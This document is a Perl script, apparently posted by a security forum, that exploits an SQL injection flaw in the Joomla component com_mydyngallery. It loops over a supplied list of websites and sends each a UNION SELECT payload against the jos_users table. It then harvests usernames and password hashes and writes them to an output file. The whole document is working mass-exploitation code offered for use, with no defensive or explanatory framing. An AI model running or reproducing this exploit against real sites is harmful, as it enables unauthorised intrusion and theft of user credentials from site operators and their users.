com_mydyngallery Sqli Exploit

    #!/usr/bin/perl
    #(c) sec4ever.com
    use LWP::UserAgent;
    $| = 1;
    our $ua = LWP::UserAgent->new;
    $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5");
    $ua->timeout(20);
    die "+ usage: perl $0 sitelist.txt out.txt\n" unless defined $ARGV[0];
    my $out = defined $ARGV[1] ? $ARGV[1] : "out.txt";
    my $payload = q{/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1' union select 1,2,3,group_concat(0x7c7334657c,username,0x3e,password,0x7c7334657c),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 from jos_users%60};

    open (sites,"<".$ARGV[0]) or die $!;
    open (out,">>".$out) or die $!;
    while (my $site = <sites>)
    {
            chomp ($site);
            $site = clean($site);
            print $site." | ";
            my $cont = $ua->get("http://".$site.$payload)->content;
            #print $cont;
            my ($info) = $cont =~ /\|s4e\|(.*?)\|s4e\|/g;
        if($info)
        {
            print $info."\n";
            print out $site." | ".$info."\n";

        }else{
            print "faild\n";
        }
    }
    close(out,sites);

    sub clean {
    $_[0] =~ s/http[s]?:\/\/[www\.]{3}?[\.]?//g if $_[0] =~ /http[s]?:\/\/[www\.]{3}?[\.]?/g;
    $_[0] =~ s/http[s]?:\/\///g if $_[0] =~ /http[s]?:\/\//g;
    $_[0] =~ s/[\/]$// if $_[0] =~ /[\/]$/m;
    return $_[0];
    }